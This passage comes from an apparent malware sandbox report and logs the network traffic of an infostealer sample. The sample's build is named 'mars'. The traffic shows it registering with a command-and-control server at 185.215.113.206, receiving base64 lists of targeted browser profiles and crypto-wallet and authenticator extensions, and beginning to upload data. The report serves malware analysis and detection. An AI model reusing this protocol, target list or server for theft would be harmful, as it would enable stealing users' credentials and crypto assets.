Nov 17, 2024 01:38:50.341214895 CET	1.1.1.1	192.168.2.6	0x6d52	No error (0)	sb.scorecardresearch.com		18.244.18.27	A (IP address)	IN (0x0001)	false
Nov 17, 2024 01:38:50.341214895 CET	1.1.1.1	192.168.2.6	0x6d52	No error (0)	sb.scorecardresearch.com		18.244.18.38	A (IP address)	IN (0x0001)	false
Nov 17, 2024 01:38:50.341214895 CET	1.1.1.1	192.168.2.6	0x6d52	No error (0)	sb.scorecardresearch.com		18.244.18.32	A (IP address)	IN (0x0001)	false
Nov 17, 2024 01:38:52.361529112 CET	1.1.1.1	192.168.2.6	0xd5d6	No error (0)	r.msftstatic.com	r-msftstatic-com.a-0016.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 01:39:03.761029959 CET	1.1.1.1	192.168.2.6	0x8c43	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 01:39:03.761029959 CET	1.1.1.1	192.168.2.6	0x8c43	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 17, 2024 01:39:04.772209883 CET	1.1.1.1	192.168.2.6	0x8c43	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 01:39:04.772209883 CET	1.1.1.1	192.168.2.6	0x8c43	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 17, 2024 01:39:05.788068056 CET	1.1.1.1	192.168.2.6	0x8c43	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 01:39:05.788068056 CET	1.1.1.1	192.168.2.6	0x8c43	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 17, 2024 01:39:07.792174101 CET	1.1.1.1	192.168.2.6	0x8c43	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 01:39:07.792174101 CET	1.1.1.1	192.168.2.6	0x8c43	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 17, 2024 01:39:11.792454958 CET	1.1.1.1	192.168.2.6	0x8c43	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 01:39:11.792454958 CET	1.1.1.1	192.168.2.6	0x8c43	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 17, 2024 01:39:48.492424965 CET	1.1.1.1	192.168.2.6	0x7af4	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 01:40:13.873372078 CET	1.1.1.1	192.168.2.6	0x1899	No error (0)	cook-rain.sbs		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 17, 2024 01:40:13.873372078 CET	1.1.1.1	192.168.2.6	0x1899	No error (0)	cook-rain.sbs		188.114.97.3	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49714	185.215.113.206	80	6252	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 17, 2024 01:38:14.035448074 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 17, 2024 01:38:14.952915907 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:14 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 17, 2024 01:38:14.956955910 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJDHCBGHJEGHJJKFHIIE Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 44 48 43 42 47 48 4a 45 47 48 4a 4a 4b 46 48 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 41 37 35 44 37 35 45 41 35 42 39 32 39 32 35 33 38 32 31 39 33 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 48 43 42 47 48 4a 45 47 48 4a 4a 4b 46 48 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 48 43 42 47 48 4a 45 47 48 4a 4a 4b 46 48 49 49 45 2d 2d 0d 0a Data Ascii: ------IJDHCBGHJEGHJJKFHIIEContent-Disposition: form-data; name="hwid"1A75D75EA5B92925382193------IJDHCBGHJEGHJJKFHIIEContent-Disposition: form-data; name="build"mars------IJDHCBGHJEGHJJKFHIIE--
Nov 17, 2024 01:38:15.255803108 CET	407	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:15 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4d 54 6b 77 5a 57 52 6c 4d 57 56 69 4d 7a 68 68 4f 54 49 31 4d 6d 46 6d 59 54 4d 78 4d 6a 49 30 4d 6d 55 34 4f 54 59 33 4e 32 49 7a 5a 54 68 68 4d 7a 5a 6a 4f 44 6b 30 4d 32 5a 69 5a 44 64 6b 59 54 68 6a 5a 6a 41 79 4d 6d 59 79 4d 6a 51 34 4e 44 41 31 4f 54 42 69 4f 54 6c 69 4e 44 51 77 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: MTkwZWRlMWViMzhhOTI1MmFmYTMxMjI0MmU4OTY3N2IzZThhMzZjODk0M2ZiZDdkYThjZjAyMmYyMjQ4NDA1OTBiOTliNDQwfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 17, 2024 01:38:15.257203102 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKJEGCFBGDHJJJJJKJEC Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 4a 45 47 43 46 42 47 44 48 4a 4a 4a 4a 4a 4b 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 39 30 65 64 65 31 65 62 33 38 61 39 32 35 32 61 66 61 33 31 32 32 34 32 65 38 39 36 37 37 62 33 65 38 61 33 36 63 38 39 34 33 66 62 64 37 64 61 38 63 66 30 32 32 66 32 32 34 38 34 30 35 39 30 62 39 39 62 34 34 30 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 45 47 43 46 42 47 44 48 4a 4a 4a 4a 4a 4b 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 45 47 43 46 42 47 44 48 4a 4a 4a 4a 4a 4b 4a 45 43 2d 2d 0d 0a Data Ascii: ------AKJEGCFBGDHJJJJJKJECContent-Disposition: form-data; name="token"190ede1eb38a9252afa312242e89677b3e8a36c8943fbd7da8cf022f224840590b99b440------AKJEGCFBGDHJJJJJKJECContent-Disposition: form-data; name="message"browsers------AKJEGCFBGDHJJJJJKJEC--
Nov 17, 2024 01:38:15.542845964 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:15 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 17, 2024 01:38:15.542901993 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 17, 2024 01:38:15.544204950 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJJEGCGDGHCBFHIDHDAA Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 47 43 47 44 47 48 43 42 46 48 49 44 48 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 39 30 65 64 65 31 65 62 33 38 61 39 32 35 32 61 66 61 33 31 32 32 34 32 65 38 39 36 37 37 62 33 65 38 61 33 36 63 38 39 34 33 66 62 64 37 64 61 38 63 66 30 32 32 66 32 32 34 38 34 30 35 39 30 62 39 39 62 34 34 30 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 47 43 47 44 47 48 43 42 46 48 49 44 48 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 47 43 47 44 47 48 43 42 46 48 49 44 48 44 41 41 2d 2d 0d 0a Data Ascii: ------JJJEGCGDGHCBFHIDHDAAContent-Disposition: form-data; name="token"190ede1eb38a9252afa312242e89677b3e8a36c8943fbd7da8cf022f224840590b99b440------JJJEGCGDGHCBFHIDHDAAContent-Disposition: form-data; name="message"plugins------JJJEGCGDGHCBFHIDHDAA--
Nov 17, 2024 01:38:15.830076933 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:15 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 17, 2024 01:38:15.830133915 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Nov 17, 2024 01:38:15.830172062 CET	224	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxw
Nov 17, 2024 01:38:15.830203056 CET	1236	IN	Data Raw: 5a 32 52 74 62 57 74 72 5a 6d 70 68 59 6d 5a 6d 5a 57 64 68 62 6d 6c 6c 59 57 31 6d 61 32 78 72 62 58 77 78 66 44 42 38 4d 48 78 4c 53 45 4e 38 61 47 4e 6d 62 48 42 70 62 6d 4e 77 63 48 42 6b 59 32 78 70 62 6d 56 68 62 47 31 68 62 6d 52 70 61 6d Data Ascii: Z2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZmY29mam9uYmZiZ2FvY3wxfDB8MHxHb2J5fGpua2VsZmFuamt
Nov 17, 2024 01:38:15.830240011 CET	212	IN	Data Raw: 66 44 42 38 52 6d 6c 75 62 6d 6c 6c 66 47 4e 71 62 57 74 75 5a 47 70 6f 62 6d 46 6e 59 32 5a 69 63 47 6c 6c 62 57 35 72 5a 48 42 76 62 57 4e 6a 62 6d 70 69 62 47 31 71 66 44 46 38 4d 48 77 77 66 45 78 6c 59 58 41 67 56 47 56 79 63 6d 45 67 56 32 Data Ascii: fDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25m
Nov 17, 2024 01:38:15.830276012 CET	1236	IN	Data Raw: 61 32 78 72 66 44 46 38 4d 48 77 77 66 45 46 31 64 47 68 6c 62 6e 52 70 59 32 46 30 62 33 4a 38 59 6d 68 6e 61 47 39 68 62 57 46 77 59 32 52 77 59 6d 39 6f 63 47 68 70 5a 32 39 76 62 32 46 6b 5a 47 6c 75 63 47 74 69 59 57 6c 38 4d 58 77 77 66 44 Data Ascii: a2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J8YmhnaG9hbWFwY2RwYm9ocGhpZ29vb2FkZGlucGtiYWl8MXwwfDB8QXV0aHl8Z2FlZG1qZGZtbWFoaGJqZWZjYmdhb2xoaGFubGFvbGJ8MXwwfDB8RU9TIEF1dGhlbnRpY2F0b3J8b2VsamRsZHBubWRiY2hvbmllbGlkZ29iZGRmZmZsYWx8MXwwfDB8R0F1dGggQXV0aGVudGljYXR
Nov 17, 2024 01:38:15.830305099 CET	212	IN	Data Raw: 59 6d 4a 6e 59 6d 56 77 61 47 64 76 61 6d 6c 72 59 57 70 6f 5a 6d 4a 76 62 57 68 73 62 57 31 76 62 47 78 77 61 47 4e 68 5a 48 77 78 66 44 42 38 4d 48 78 53 59 57 6c 75 59 6d 39 33 49 46 64 68 62 47 78 6c 64 48 78 76 63 47 5a 6e 5a 57 78 74 59 32 Data Ascii: YmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWluYm93IFdhbGxldHxvcGZnZWxtY21iaWFqYW1lcG5tbG9pamJwb2xlaWFtYXwxfDB8MHxOaWdodGx5IFdhbGxldHxmaWlrb21tZGRiZWNjYW9pY29lam9uaWFtbW5hbGtmYXwxfDB8MHxFY3RvIFdhbGxldHxi
Nov 17, 2024 01:38:15.830338955 CET	1236	IN	Data Raw: 5a 32 70 76 5a 33 42 76 61 57 52 6c 61 6d 52 6c 62 57 64 76 62 32 4e 6f 63 47 35 72 62 57 52 71 63 47 39 6a 5a 32 74 6f 59 58 77 78 66 44 42 38 4d 48 78 44 62 32 6c 75 61 48 56 69 66 47 70 6e 59 57 46 70 62 57 46 71 61 58 42 69 63 47 52 76 5a 33 Data Ascii: Z2pvZ3BvaWRlamRlbWdvb2NocG5rbWRqcG9jZ2toYXwxfDB8MHxDb2luaHVifGpnYWFpbWFqaXBicGRvZ3BkZ2xoYXBobGRha2lrZ2VmfDF8MHwwfE11bHRpdmVyc1ggRGVGaSBXYWxsZXR8ZG5nbWxibGNvZGZvYnBkcGVjYWFkZ2ZiY2dnZmpmbm18MXwwfDB8RnJvbnRpZXIgV2FsbGV0fGtwcGZkaWlwcGhmY2NlbWNpZ25
Nov 17, 2024 01:38:15.830377102 CET	516	IN	Data Raw: 62 32 5a 38 4d 58 77 77 66 44 42 38 56 47 39 75 61 32 56 6c 63 47 56 79 49 46 64 68 62 47 78 6c 64 48 78 76 62 57 46 68 59 6d 4a 6c 5a 6d 4a 74 61 57 6c 71 5a 57 52 75 5a 33 42 73 5a 6d 70 74 62 6d 39 76 63 48 42 69 59 32 78 72 61 33 77 78 66 44 Data Ascii: b2Z8MXwwfDB8VG9ua2VlcGVyIFdhbGxldHxvbWFhYmJlZmJtaWlqZWRuZ3BsZmptbm9vcHBiY2xra3wxfDB8MHxPcGVuTWFzayBXYWxsZXR8cGVuamxkZGpramdwbmtsbGJvY2NkZ2NjZWtwa2NiaW58MXwwfDB8U2FmZVBhbCBXYWxsZXR8YXBlbmtmYmJwbWhpaGVobWlobmRtbWNkYW5hY29sbmh8MXwwfDB8Qml0Z2V0IFd
Nov 17, 2024 01:38:15.832016945 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGIDHDGCBFBKECBFHCAF Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 49 44 48 44 47 43 42 46 42 4b 45 43 42 46 48 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 39 30 65 64 65 31 65 62 33 38 61 39 32 35 32 61 66 61 33 31 32 32 34 32 65 38 39 36 37 37 62 33 65 38 61 33 36 63 38 39 34 33 66 62 64 37 64 61 38 63 66 30 32 32 66 32 32 34 38 34 30 35 39 30 62 39 39 62 34 34 30 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 48 44 47 43 42 46 42 4b 45 43 42 46 48 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 48 44 47 43 42 46 42 4b 45 43 42 46 48 43 41 46 2d 2d 0d 0a Data Ascii: ------EGIDHDGCBFBKECBFHCAFContent-Disposition: form-data; name="token"190ede1eb38a9252afa312242e89677b3e8a36c8943fbd7da8cf022f224840590b99b440------EGIDHDGCBFBKECBFHCAFContent-Disposition: form-data; name="message"fplugins------EGIDHDGCBFBKECBFHCAF--
Nov 17, 2024 01:38:16.116945982 CET	335	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:15 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 17, 2024 01:38:16.133152008 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDGCFBAFBFHJEBGCAEGH Host: 185.215.113.206 Content-Length: 6759 Connection: Keep-Alive Cache-Control: no-cache
